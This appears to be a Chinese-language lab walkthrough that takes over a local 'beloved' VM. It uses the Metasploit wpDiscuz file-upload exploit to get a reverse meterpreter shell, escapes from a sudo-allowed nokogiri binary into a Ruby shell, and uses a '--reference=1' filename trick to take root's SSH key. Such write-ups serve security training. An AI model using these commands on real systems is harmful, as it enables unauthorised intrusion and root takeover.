IP=192.168.0.162 nmap -p- $IP Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-16 02:28 EDT Nmap scan report for 192.168.0.162 Host is up (0.00031s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:2E:80:60 (Oracle VirtualBox virtual NIC)
网站
打开看到 Title ，应该是 WordPress 网站，但是看起来 css 都丢了。看网络请求：http://beloved/wp-includes/css/dist/block-library/style.min.css?ver=6.6.2 应该是要加个 hosts。加了之后看起来舒服多了。
Name Current Setting Required Description ---- --------------- -------- ----------- BLOGPATH yes Link to the post [/index.php/2020/12/12/post1] Proxies no A proxy chain of format type:host:port[,type:host:po rt][...] RHOSTS yes The target host(s), see https://docs.metasploit.com/ docs/using-metasploit/basics/using-metasploit.html RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes The base path to the wordpress application VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target:
Id Name -- ---- 0 wpDiscuz < 7.0.5
View the full module info with the info, or info -d command.
msf6 exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > set RHOSTS 192.168.0.162 RHOSTS => 192.168.0.162 msf6 exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > set BLOGPATH 2021/06/09/hello-world/
msf6 exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > set LHOST 192.168.0.30 LHOST => 192.168.0.30 msf6 exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > set LPORT 1234 LPORT => 1234
msf6 exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > run
[*] Started reverse TCP handler on 192.168.0.30:1234 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. [+] Payload uploaded as EfICGvsPji.php [*] Calling payload... [*] Sending stage (39927 bytes) to 192.168.0.162 [*] Meterpreter session 3 opened (192.168.0.30:1234 -> 192.168.0.162:48808) at 2024-10-16 04:02:04 -0400 [!] This exploit may require manual cleanup of 'EfICGvsPji.php' on the target
meterpreter > shell
Process 1328 created. Channel 0 created. id uid=33(www-data) gid=33(www-data) groups=33(www-data)
#!/usr/bin/ruby2.5 # # This file was generated by RubyGems. # # The application 'nokogiri' is installed as part of a gem, and # this file is here to facilitate running it. #
require'rubygems'
version = ">= 0.a"
ifARGV.first str = ARGV.first str = str.dup.force_encoding("BINARY") if str.respond_to? :force_encoding if str =~ /\A_(.*)_\z/andGem::Version.correct?($1) then version = $1 ARGV.shift end end
ifGem.respond_to?(:activate_bin_path) load Gem.activate_bin_path('nokogiri', 'nokogiri', version) else gem "nokogiri", version load Gem.bin_path("nokogiri", "nokogiri", version) end
Options: --typetype Parse as type: xml or html (default: auto) -C file Specifies initialization file to load (default /home/beloved/.nokogirirc) -E, --encoding encoding Read as encoding (default: none) -e command Specifies script from command-line. --rng <uri|path> Validate using this rng file. -?, --help Show this message -v, --version Show version
www-data@beloved:/var/www$ sudo -u beloved /usr/local/bin/nokogiri /etc/passwd <udo -u beloved /usr/local/bin/nokogiri /etc/passwd Your document is stored in @doc... irb(main):001:0>
本来想试试读个文件，没想到，竟然进入到 ruby 的 irb 了。直接提权。
1 2 3 4 5
irb(main):001:0> system("bash") system("bash") beloved@beloved:/var/www$ id id uid=1000(beloved) gid=1000(beloved) groups=1000(beloved)
提权 root
上来试了 sudo -l 发现没密码。
1 2 3 4 5 6 7 8 9 10 11 12
ssh beloved@$IP The authenticity of host '192.168.0.162 (192.168.0.162)' can't be established. ED25519 key fingerprint is SHA256:2b+kTRKlx4qeMsfce+AHPgi/ReUzFfLnFbNEPBAg4uk. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.0.162' (ED25519) to the list of known hosts. [email protected]'s password: Permission denied, please try again. [email protected]'s password: Permission denied, please try again. [email protected]'s password: [email protected]: Permission denied (publickey,password).
beloved@beloved:/opt$ touch 1 beloved@beloved:/opt$ ls -al total 12 drwxrwx--- 2 root beloved 4096 Oct 16 10:39 . drwxr-xr-x 18 root root 4096 May 19 2021 .. -rw-r--r-- 1 beloved beloved 0 Oct 16 10:39 1 -rw------- 1 root root 1823 Jun 27 2021 id_rsa beloved@beloved:/opt$ touch --reference=1 touch: missing file operand Try 'touch --help'for more information. beloved@beloved:/opt$ touch -- --reference=1 # 等执行定时任务 beloved@beloved:/opt$ ls -al total 12 drwxrwx--- 2 root beloved 4096 Oct 16 10:39 . drwxr-xr-x 18 root root 4096 May 19 2021 .. -rw-r--r-- 1 beloved beloved 0 Oct 16 10:39 1 -rw------- 1 beloved beloved 1823 Jun 27 2021 id_rsa -rw-r--r-- 1 beloved beloved 0 Oct 16 10:39 '--reference=1'
可以看到 id_rsa 已经被改成了 beloved 的权限了。
1 2 3 4 5 6 7 8 9 10 11 12 13
chmod 600 id ssh -i id root@$IP Linux beloved 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Jun 27 17:47:28 2021 from 192.168.0.28 root@beloved:~# id uid=0(root) gid=0(root) groups=0(root)
